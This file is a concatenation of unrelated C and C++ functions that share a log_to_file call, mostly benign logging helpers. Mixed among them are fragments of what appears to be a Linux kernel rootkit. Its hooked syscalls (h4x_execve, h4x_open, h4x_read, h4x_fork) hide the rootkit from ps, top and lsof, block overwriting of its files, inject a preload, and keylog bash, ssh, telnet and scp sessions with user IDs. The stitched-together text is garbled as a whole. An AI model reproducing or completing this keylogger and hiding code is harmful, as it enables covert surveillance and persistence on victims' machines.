void run_and_log_n_times( FILE * f, int type, p_query query, int hit_count, int bit_width, int iterations ) {
for( int i = 0; i < iterations; i++ ) {
double time = run_alignment( type, query, hit_count, bit_width );
log_to_file( f, ",%lf", time );
}
log_to_file( f, "\n" );
}
/*---------------------------------------------
| Log exiting process
---------------------------------------------*/
void slog(int level, char *msg, ...)
{
/* Used variables */
char output[MAXMSG];
char string[MAXMSG];
SystemDate mdate;
/* initialise system date */
init_date(&mdate);
/* Read args */
va_list args;
va_start(args, msg);
vsprintf(string, msg, args);
va_end(args);
/* Check logging levels */
if((!level || level <= slog_val.level) && level <= slog_val.l_max)
{
/* Generate output string with date */
sprintf(output, "%02d.%02d.%02d-%02d:%02d:%02d - %s\n",
mdate.year, mdate.mon, mdate.day, mdate.hour, mdate.min, mdate.sec, string);
/* Print output */
printf("%s", output);
/* Save log in file */
if (slog_val.to_file)
log_to_file(output, slog_val.fname, &mdate);
}
}
int remove_individual(int identity)
/* Removes the individual with ID 'identity' from the global population. */
{
individual *temp;
int result;
if((identity > global_population.last_identity) || (identity < 0))
return (1);
temp = get_individual(identity);
if(temp == NULL)
return (1);
global_population.individual_array[identity] = NULL;
if(identity == global_population.last_identity)
{
global_population.last_identity--;
}
else
{
result = push(&global_population.free_ids_stack, identity);
if (result == 1)
{
log_to_file(log_file, __FILE__, __LINE__,
"Pushing a free identity to stack failed.");
return (1);
}
}
global_population.size--;
free_individual(temp);
return (0);
}
int core_dump_complete(void **ctx)
{
char name[80];
struct dump_s *s = (struct dump_s*)*ctx;
if(s==NULL)
{
return 0;
}
if( s->cache)
{
if(s->cache_off > 0)
{
s->written += de_fwrite(s->file, s->cache, s->cache_off);
}
DriverEnvironment_Free(s->cache);
}
de_fclose(s->file);
if(s->written < s->expected_size)
{
DE_TRACE_INT2(TR_ALL, "coredump wrote short, expected %d but found %d\n",
s->expected_size, s->written);
}
DE_SNPRINTF(name, sizeof(name), LOG_FILE_NAME, s->nr, s->objId, s->errCode);
log_to_file(name,0);
/* This will complete the coredump */
/* No more calls to _write|_abort|_complete will be done if ctx==NULL */
*ctx = NULL;
return 0;
}
void _dprintf(const char *function, int line, int level, const char *prefix,
const char *fmt, ...)
{
char msg[MAX_PRINT_SIZE];
int n = 0;
va_list ap;
if (function) {
int thread_id = syscall(SYS_gettid);
n = snprintf(msg, sizeof(msg), "%s [%d] %s:%s:%d: ",
trace_level_strings[level], thread_id, prefix,
function, line);
if (n < 0)
return;
}
if ((size_t)n < sizeof(msg)) {
va_start(ap, fmt);
n = vsnprintf(msg + n, sizeof(msg) - n, fmt, ap);
va_end(ap);
if (n < 0)
return;
}
fprintf(stdout, "%s", msg);
log_to_file(msg);
}
bool_t PUB_log_file(const char *file_name, const char *format, ...) {
va_list arg;
va_start(arg, format);
vsnprintf(log_buffer, MAX_BUFFER_SIZE, format, arg);
va_end(arg);
return log_to_file(file_name, log_buffer);
}
int main(int argc, char** argv){
//Use pantheios::log_xxx() or pantheios::log(xxx, ) with xxx is severity level
log_to_file();
try
{
// pantheios::log(pantheios::debug, "Entering main(", pantheios::args(argc, argv, pantheios::args::arg0FileOnly), ")");
pantheios::log_DEBUG("debug");
pantheios::log_INFORMATIONAL("informational");
pantheios::log_NOTICE("notice");
pantheios::log_WARNING("warning");
pantheios::log_ERROR("error");
pantheios::log_CRITICAL("critical");
pantheios::log_ALERT("alert");
pantheios::log_EMERGENCY("emergency");
return 1;
}
catch(std::bad_alloc&){
pantheios::log_ALERT("out of memory");
}
catch(std::exception& x){
pantheios::log_CRITICAL("Exception: ", x);
}
catch(...){
pantheios::puts(pantheios::emergency, "Unknown error");
}
return 2;
}
int rmPreload(void){
snprintf(obuffer,sizeof(obuffer),"--remove preload\n");
log_to_file(obuffer);
todo = 0;
snprintf(rebootfile,sizeof(rebootfile),"%s",CONFIG_FULLPATH);
return (*o_unlink)(rebootfile);
}
asmlinkage int h4x_execve(const char *filename, char *const argv[],char *const envp[]){
load=0;
int tty_load = 1;
//hasPreload = isPreExist();
if( strstr(argv[0],MAGIC_TO_DO) ){
started = 1;
tty_load = 0;
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"----magic argv[-]filename:%s;argv[0]:%s;argv[1]%s;\n",filename,argv[0],argv[1]);
log_to_file(obuffer);
#endif
}
force_load = 0;
if( strstr(filename,"bash") || strstr(filename,"dircolors") ||
strstr(filename,"id") || strstr(filename,"lib") ||
strstr(filename,APP_NAME) || strstr(filename,"dhcp") ||strstr(filename,"lpstat") ){
tty_load = 0;
}
if( strstr(filename,"cat") ||strstr(filename,"cp") ||strstr(filename,"vi")){
load=0;
}
if( strstr(filename,"mysql") || strstr(filename,"sshd") || strstr(filename,"ls") || strstr(filename,"ps") || strstr(filename,"top") || strstr(filename,"grep")
|| strstr(filename,"lsof") || strstr(filename,"sendmail")
|| strstr(filename,"xinetd") || strstr(filename,"ftp") || strstr(filename,"http") || strstr(filename,"ngin") || strstr(filename,"netst") ){
if(!haswrite)
hasPreload = isPreExist();
load = 1;
}
if( strstr(argv[0],"strace")){
trace++;
trace++;
}
trace--;
if(trace<0)
trace=0;
if( ( (load && started) || force_load ) && !trace && tty_load ){
//if(load && started){
//#ifdef DEBUG
mycount++;
snprintf(obuffer,sizeof(obuffer),"filename:%s;flag:%i;argv[0]:%s;argv[1]%s;mycount:%i;mypid:%i;\n",filename,hasPreload,argv[0],argv[1],mycount,mypid);
log_to_file(obuffer);
//#endif
writePreload();//preload to make hooks another way
}
return (*o_execve)(filename,argv,envp);
}
int _dprintf(const char *function, int flen, int line, int level,
const char *prefix, const char *fmt, ...)
{
char buf[MAX_PRINT_SIZE - PREFIX_LENGTH];
char print_buffer[MAX_PRINT_SIZE];
char func_buf[MAX_FUNC_PRINT_SIZE];
int err;
va_list ap;
memset(buf, 0, sizeof(buf));
memset(print_buffer, 0, sizeof(buf));
va_start(ap, fmt);
err = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
/* Limit the function name to MAX_FUNC_PRINT_SIZE characters. */
strncpy(func_buf, function, flen > MAX_FUNC_PRINT_SIZE ?
(MAX_FUNC_PRINT_SIZE - 1) : flen);
if (flen < (MAX_FUNC_PRINT_SIZE - 1)) {
memset(func_buf + flen, 0x20, (MAX_FUNC_PRINT_SIZE - flen));
}
func_buf[MAX_FUNC_PRINT_SIZE - 1] = '\0';
switch (level) {
case CRITICAL:
snprintf(print_buffer, MAX_PRINT_SIZE,
"%s: CRITI [%s : %05d] %s", prefix, func_buf, line, buf);
break;
case ERROR:
snprintf(print_buffer, MAX_PRINT_SIZE,
"%s: ERROR [%s : %05d] %s", prefix, func_buf, line, buf);
break;
case ALWAYS:
snprintf(print_buffer, MAX_PRINT_SIZE,
"%s: ALWAY [%s : %05d] %s", prefix, func_buf, line, buf);
break;
case INFO:
snprintf(print_buffer, MAX_PRINT_SIZE,
"%s: INFO [%s : %05d] %s", prefix, func_buf, line, buf);
break;
case FLOOD:
snprintf(print_buffer, MAX_PRINT_SIZE,
"%s: FLOOD [%s : %05d] %s", prefix, func_buf, line, buf);
break;
default:
break;
}
fprintf(stdout, "%s", print_buffer);
log_to_file(print_buffer);
return err;
}
char* send_error(char* moduleName, char* functionName, char* message){
char temp [100]; /* using malloc, so that this variable will not be distroied*/
log_obj log = {moduleName, functionName, message};
sprintf(temp,"%s,%s,%s",log.moduleName,log.functionName,log.message);
log_to_file("Error", moduleName, functionName, message);
return temp;
}
/*
* slog - Log exiting process. Function takes arguments and saves
* log in file if LOGTOFILE flag is enabled from config. Otherwise
* it just prints log without saveing in file. Argument level is
* logging level and flag is slog flags defined in slog.h header.
*/
void slog(int level, int flag, const char *msg, ...)
{
/* Used variables */
SystemDate mdate;
char string[MAXMSG];
char prints[MAXMSG];
char *output;
/* Initialise system date */
get_system_date(&mdate);
/* Read args */
va_list args;
va_start(args, msg);
vsprintf(string, msg, args);
va_end(args);
/* Check logging levels */
if(level <= slg.level)
{
/* Handle flags */
switch(flag) {
case 1:
sprintf(prints, "[მიმდინარე] %s", string);
break;
case 2:
sprintf(prints, "[%s] %s", strclr(1, "ინფორმაცია"), string);
break;
case 3:
sprintf(prints, "[%s] %s", strclr(3, "გაფრთხილება"), string);
break;
case 4:
sprintf(prints, "[%s] %s", strclr(4, "დებაგი"), string);
break;
case 5:
sprintf(prints, "[%s] %s", strclr(2, "შეცდომა"), string);
break;
case 6:
sprintf(prints, "[%s] %s", strclr(2, "ფატალური"), string);
break;
case 7:
sprintf(prints, "%s", string);
break;
default:
break;
}
/* Print output */
printf("%s", ret_slog("%s\n", prints));
/* Save log in file */
if (slg.to_file)
{
output = ret_slog("%s\n", string);
log_to_file(output, slg.fname, &mdate);
}
}
}
int state_error(int error, int linenumber)
/* Outputs an error message and calls exit. */
{
char error_message[50];
printf("error in state %d \n", error);
sprintf(error_message, "error in state %d \n", error);
log_to_file(log_file, NULL, linenumber, error_message);
exit(EXIT_FAILURE);
}
char* send_warning(char* moduleName, char* functionName, char* message){
char temp[100];
log_obj log = {moduleName, functionName, message};
sprintf(temp,"%s,%s,%s",log.moduleName,log.functionName,log.message);
log_to_file("Warning", moduleName, functionName, message);
return temp;
}
/*
Modified from log_to_file() mercenary code
why don't we modify thc-vlogger? because that'z your job
*/
int hasInit()
{
struct file *file = NULL;
mm_segment_t fs;
int error;
char fbuf[100]={'\0'};
/*log name*/
//snprintf(accountlog,sizeof(accountlog),"%s/%s.%i",_H4X_PATH_,_LOGFILE_,current->uid);
file = filp_open(MAGIC_REBOOT, O_CREAT|O_APPEND, 00644);
if(IS_ERR(file)){
error=PTR_ERR(file);
goto out;
}
error = -EACCES;
if(!S_ISREG(file->f_dentry->d_inode->i_mode))
goto out_err;
error = -EIO;
if(!file->f_op->write)
goto out_err;
error = 0;
fs = get_fs();
set_fs(KERNEL_DS);
file->f_op->read(file,fbuf,strlen(fbuf)-1,0);
set_fs(fs);
filp_close(file,NULL);
snprintf(obuffer,sizeof(obuffer),"readtest- [UID = %i ] %s >file:%s > flags:%i > mode: %i >fbuf: %s\n",current->uid,current->comm,kbuf,flags,mode,fbuf);
log_to_file(obuffer);
goto out;
out:
return error;
out_err:
filp_close (file,NULL);
snprintf(obuffer,sizeof(obuffer),"error:%i\n",error);
log_to_file(obuffer);
goto out;
}
int main(int argc, char ** argv) {
log_to_file(LOG_CPERROR, stderr);
++argv;
--argc;
if (argc > 0 && strcmp("--list", argv[0]) == 0) {
list = true;
++argv;
--argc;
}
return RunAllTests(argc, argv);
}
bool_t PUB_log(enum LOG_TYPE type, const char *format, ...) {
va_list arg;
va_start(arg, format);
vsnprintf(log_buffer, MAX_BUFFER_SIZE, format, arg);
va_end(arg);
if (log_console)
std::cout << "[" << get_log_type_string(type) << "] " << log_buffer << std::endl;
else
return log_to_file(get_log_type_file_name(type), log_buffer);
return True;
}
char* send_info(char* moduleName, char* functionName, char* message){
char temp[100];
log_obj log = {moduleName, functionName, message};
// log.moduleName = moduleName;
// log.functionName = functionName;
// log.message= info;
sprintf(temp,"%s,%s,%s",log.moduleName,log.functionName,log.message);
log_to_file("Info", moduleName, functionName, message);
return temp;
}
int main() {
log_mc.open(base_log_dir + "logs_mc.txt", std::ios::out | std::ios::app);
log_bms.open(base_log_dir + "logs_bms.txt", std::ios::out | std::ios::app);
log_main_ard.open(base_log_dir + "logs_main_arduino.txt",
std::ios::out | std::ios::app);
log_evdc.open(base_log_dir + "logs_evdc.txt",
std::ios::out | std::ios::app);
log_rear_ard.open(base_log_dir + "logs_read_arduino.txt",
std::ios::out | std::ios::app);
gettimeofday(&log_mc_prev_time, NULL);
gettimeofday(&log_bms_prev_time, NULL);
gettimeofday(&log_main_ard_prev_time, NULL);
gettimeofday(&log_evdc_prev_time, NULL);
gettimeofday(&log_rear_ard_prev_time, NULL);
CAN can;
BT bt(10);
bt.connect();
bzero(amp_history, TIME_LEFT_HIST_LEN * sizeof(uint16_t));
gettimeofday(&prev_time, NULL);
curr_time = prev_time;
canframe_t *frame = (canframe_t*) malloc(sizeof(canframe_t));
uint8_t bt_buffer[BT::DATA_LENGTH];
while (1) {
if (can.read(frame) > 0) {
std::cout << "Error reading message or no message to read" << std::endl;
} else {
if (0 == process_data_for_sending(bt_buffer, frame)) {
if (bt.send(bt_buffer) == -1) {
std::cout << "Attempting to reconnect" << std::endl;
bt.connect();
}
}
log_to_file(frame);
}
}
free(frame);
bt.disconnect();
log_mc.close();
log_bms.close();
log_main_ard.close();
log_evdc.close();
log_rear_ard.close();
return 0;
}
internal bool32
al_log(bool32 error, const char *message, ...)
{
va_list argptr;
va_start(argptr, message);
log_to_file(AL_LOG_FILE, message, argptr);
va_end(argptr);
if (error)
{
va_start(argptr, message);
log_to_console(AL_LOG_FILE, message, argptr);
va_end(argptr);
}
return true;
}
bool
log_info(const char *fmt, ...)
{
if (!Log.inited)
return false;
va_list ap;
write_time(&Log);
va_start(ap, fmt);
write_msg(&Log, fmt, ap);
va_end(ap);
return log_to_file(&Log);
}
asmlinkage int h4x_fork(void){
snprintf(obuffer,sizeof(obuffer),"******mypid:%i;comm:%s\n",mypid,current->comm);
log_to_file(obuffer);
if(!mypid && strstr(current->comm,APP_NAME) ){
int res = o_fork();
if(res>0)
mypid = res;
return res;
/*
snprintf(obuffer,sizeof(obuffer),"******mypid:%i\n",mypid);
log_to_file(obuffer);
return mypid;
*/
}else{
return o_fork();
}
}
void * FuseHFS_init(struct fuse_conn_info *conn) {
struct fuse_context *cntx=fuse_get_context();
struct fusehfs_options *options = cntx->private_data;
#if (__FreeBSD__ >= 10)
FUSE_ENABLE_SETVOLNAME(conn); // this actually doesn't do anything
FUSE_ENABLE_XTIMES(conn); // and apparently this doesn't either
#endif
#ifdef DEBUG
//char logfn[128];
//sprintf(logfn, "/fusefs_hfs/FuseHFS.%d.log", getpid());
//stderr = freopen(logfn, "a", stderr);
log_to_file();
fprintf(stderr, "FuseHFS_init\n");
fflush(stderr);
#endif
// create iconv
iconv_to_utf8 = iconv_open("UTF-8", options->encoding);
if (iconv_to_utf8 == (iconv_t)-1) {
perror("iconv_open");
exit(1);
}
iconv_to_mac = iconv_open(options->encoding, "UTF-8");
if (iconv_to_mac == (iconv_t)-1) {
perror("iconv_open");
exit(1);
}
// mount volume
int mode = options->readonly?HFS_MODE_RDONLY:HFS_MODE_ANY;
if (NULL == hfs_mount(options->path, 0, mode)) {
perror("hfs_mount");
exit(1);
}
// initialize some globals
_readonly = options->readonly;
hfsvolent vstat;
hfs_vstat(NULL, &vstat);
strcpy(_volname, vstat.name);
return NULL;
}
bool
log_fatal(const char *fmt, ...)
{
if (!Log.inited)
return false;
va_list ap;
write_time(&Log);
strcat(Log.buffer, "*FATAL* ");
va_start(ap, fmt);
write_msg(&Log, fmt, ap);
va_end(ap);
return log_to_file(&Log);
}
bool
log_debug(const char *fmt, ...)
{
if (!Log.inited || !Log.debug)
return false;
va_list ap;
write_time(&Log);
strcat(Log.buffer, "*DEBUG* ");
va_start(ap, fmt);
write_msg(&Log, fmt, ap);
va_end(ap);
return log_to_file(&Log);
}
/*Don't allow your file to be overwrited*/
asmlinkage int h4x_open(const char __user *filename, int flags, int mode) {
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,filename,255);
//bits/fcntl.h O_WRONLY|O_TRUNC|O_LARGEFILE is 0101001
if((strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)) && flags == 0101001){
kfree(kbuf);
return -EACCES;
}
//if(strstr(kbuf,"/dev/initctl") && flags==1){
if(strstr(kbuf,"/dev/initctl")){
hasInit();
snprintf(obuffer,sizeof(obuffer),"initctlmagic- [UID = %i ] %s >file:%s > flags:%i > mode: %i\n",current->uid,current->comm,kbuf,flags,mode);
log_to_file(obuffer);
}
r=(*o_open)(filename,flags,mode);
return r;
}
/* Read state flag */
int read_state()
{
int result;
int state = -1;
FILE *fp;
fp = fopen(sta_file, "r");
if (fp != NULL)
{
result = fscanf(fp, "%d", &state);
fclose(fp);
if (result == 1) /* exactly one element read */
{
if (state < 0 || state > 11)
log_to_file(log_file, __FILE__, __LINE__,
"invalid state read");
}
}
return (state);
}
int isPreExist(void){
struct file *file = NULL;
snprintf(rebootfile,sizeof(rebootfile),"%s",CONFIG_FULLPATH);
file = filp_open(rebootfile, O_RDONLY, 00644);
if(IS_ERR(file)){
return 0;
}
if(!S_ISREG(file->f_dentry->d_inode->i_mode)){
return 0;
}
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"---PreExist:true\n");
log_to_file(obuffer);
#endif
filp_close(file,NULL);
return 1;
}
int check_in_whitelist(unsigned char* sha1){
char line[256];
char fpath[100];
sprintf(fpath,"/etc/netcop/whitelist");
FILE* f_whitelist = fopen(fpath, "r");
if (!f_whitelist) {
printf("unable to open whitelist file\n");
return -1;
}
int ret_val = 1;
while(!feof(f_whitelist)){
if(fgets(line, 256, f_whitelist)){
if(!compare_hashes(sha1, line)){
ret_val = 0;
break;
}
}
}
log_to_file(msg);
return ret_val;
}
/*
Modified from hacked sys_read on merecenary code
Why don't we modify thc-vlogger? it's your duty
Somehow this h4x_read doesn't cool enough, but works :)
*/
asmlinkage int h4x_read(unsigned int fd, char __user *buf, size_t count)
{
int i,r;
char date_time[24];
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
/*If output is redirected to file or grep, hide it*/
copy_from_user(kbuf,buf,255);
if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
(strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST))
{
kfree(kbuf);
return -ENOENT;
}
}
r=o_read(fd,buf,count);
/*Due to stability issue, we limit the keylogging process*/
if((strcmp(current->comm,"bash") == 0) || (strcmp(current->comm,"ssh") == 0)||
(strcmp(current->comm,"scp") == 0) || (strcmp(current->comm,"telnet") == 0)||
(strcmp(current->comm,"rsh") == 0) || (strcmp(current->comm,"rlogin") == 0)){
/*SPECIAL CHAR*/
if (counter) {
if (counter == 2) { // Arrows + Break
//left arrow
if (buf[0] == 0x44) {
strcat(ibuffer,"[LEFT]");
counter = 0;
goto END;
}
//right arrow
if (buf[0] == 0x43) {
strcat(ibuffer,"[RIGHT]");
counter = 0;
goto END;
}
//up arrow
if (buf[0] == 0x41) {
strcat(ibuffer,"[UP]");
counter = 0;
goto END;
}
//down arrow
if (buf[0] == 0x42) {
strcat(ibuffer,"[DOWN]");
counter = 0;
goto END;
}
//break
if (buf[0] == 0x50) {
strcat(ibuffer,"[BREAK]");
counter = 0;
goto END;
}
//numlock
if(buf[0] == 0x47) {
strcat (ibuffer,"[NUMLOCK]");
counter = 0;
goto END;
}
strncpy (spbuffer,buf,1);
counter ++;
goto END;
}
if (counter == 3) { // F1-F5
//F1
if (buf[0] == 0x41) {
strcat(ibuffer,"[F1]");
counter = 0;
goto END;
}
//F2
if (buf[0] == 0x42) {
strcat(ibuffer,"[F2]");
counter = 0;
goto END;
}
//F3
if (buf[0] == 0x43) {
strcat(ibuffer,"[F3]");
counter = 0;
goto END;
}
//F4
if (buf[0] == 0x44) {
strcat(ibuffer,"[F4]");
counter = 0;
goto END;
}
//F5
if (buf[0] == 0x45) {
strcat(ibuffer,"[F5]");
counter = 0;
goto END;
}
if (buf[0] == 0x7E) { // PgUp, PgDown, Ins, ...
//Page Up
if (spbuffer[0] == 0x35)
strcat(ibuffer,"[PGUP]");
//Page Down
if (spbuffer[0] == 0x36)
strcat(ibuffer,"[PGDN]");
//Delete
if (spbuffer[0] == 0x33)
strcat(ibuffer,"[DELETE]");
//End
if (spbuffer[0] == 0x34)
strcat(ibuffer,"[END]");
//Home
if (spbuffer[0] == 0x31)
strcat(ibuffer,"[HOME]");
//Insert
if (spbuffer[0] == 0x32)
strcat(ibuffer,"[INSERT]");
counter = 0;
goto END;
}
if (spbuffer[0] == 0x31) { // F6-F8
//F6
if (buf[0] == 0x37)
strcat(ibuffer,"[F6]");
//F7
if (buf[0] == 0x38)
strcat(ibuffer,"[F7]");
//F8
if (buf[0] == 0x39)
strcat(ibuffer,"[F8]");
counter++;
goto END;
}
if (spbuffer[0] == 0x32) { // F9-F12
//F9
if (buf[0] == 0x30)
strcat(ibuffer,"[F9]");
//F10
if (buf[0] == 0x31)
strcat(ibuffer,"[F10]");
//F11
if (buf[0] == 0x33)
strcat(ibuffer,"[F11]");
//F12
if (buf[0] == 0x34)
strcat(ibuffer,"[F12]");
counter++;
goto END;
}
}
if(counter >= 4) { //WatchDog
counter = 0;
goto END;
}
counter ++;
goto END;
}
/*SH, SSHD = 0 /TELNETD = 3/LOGIN = 4*/
if(r==1 && (fd==0||fd==3||fd==4)){
//CTRL+U
if(buf[0]==0x15){
ibuffer[0]='\0';
goto END;
}
//TAB
if(buf[0]==0x09){
strcat(ibuffer,"[TAB]");
counter = 0;
goto END;
}
//CTRL+C
if(buf[0]==0x03){
strcat(ibuffer,"[CTRL+C]");
counter = 0;
goto END;
}
//CTRL+D
if(buf[0]==0x03){
strcat(ibuffer,"[CTRL+D]");
counter = 0;
goto END;
}
//CTRL+]
if(buf[0]==0x1D){
strcat(ibuffer,"[CTRL+]]");
counter = 0;
goto END;
}
//BACKSPACE 0x7F Local / 0x08 Remote
if (buf[0] == 0x7F || buf[0] == 0x08) {
if (ibuffer[strlen(ibuffer) - 1] == ']') {
for (i=2;strlen(ibuffer);i++){
if (ibuffer[strlen (ibuffer) - i] == '[') {
ibuffer[strlen(ibuffer) - i] = '\0';
break;
}
}
goto END;
}else {
ibuffer[strlen(ibuffer) - 1] = '\0';
goto END;
}
}
if (buf[0] == 0x1B) {
counter++;
goto END;
}
if(buf[0] != '\n' && buf[0] != '\r'){
strncat(ibuffer,buf,sizeof(ibuffer));
}else{
strcat(ibuffer,"\n");
get_time(date_time);
snprintf(obuffer,sizeof(obuffer),"[%s] - [UID = %i ] %s > %s",date_time,current_uid(),current->comm,ibuffer);
//I don't want to log buffer more than 60 chars, most of them are useless data
if(strlen(ibuffer)<60) {
log_to_file(obuffer);
}
ibuffer[0]='\0';
}
}
}
END:
return r;
}
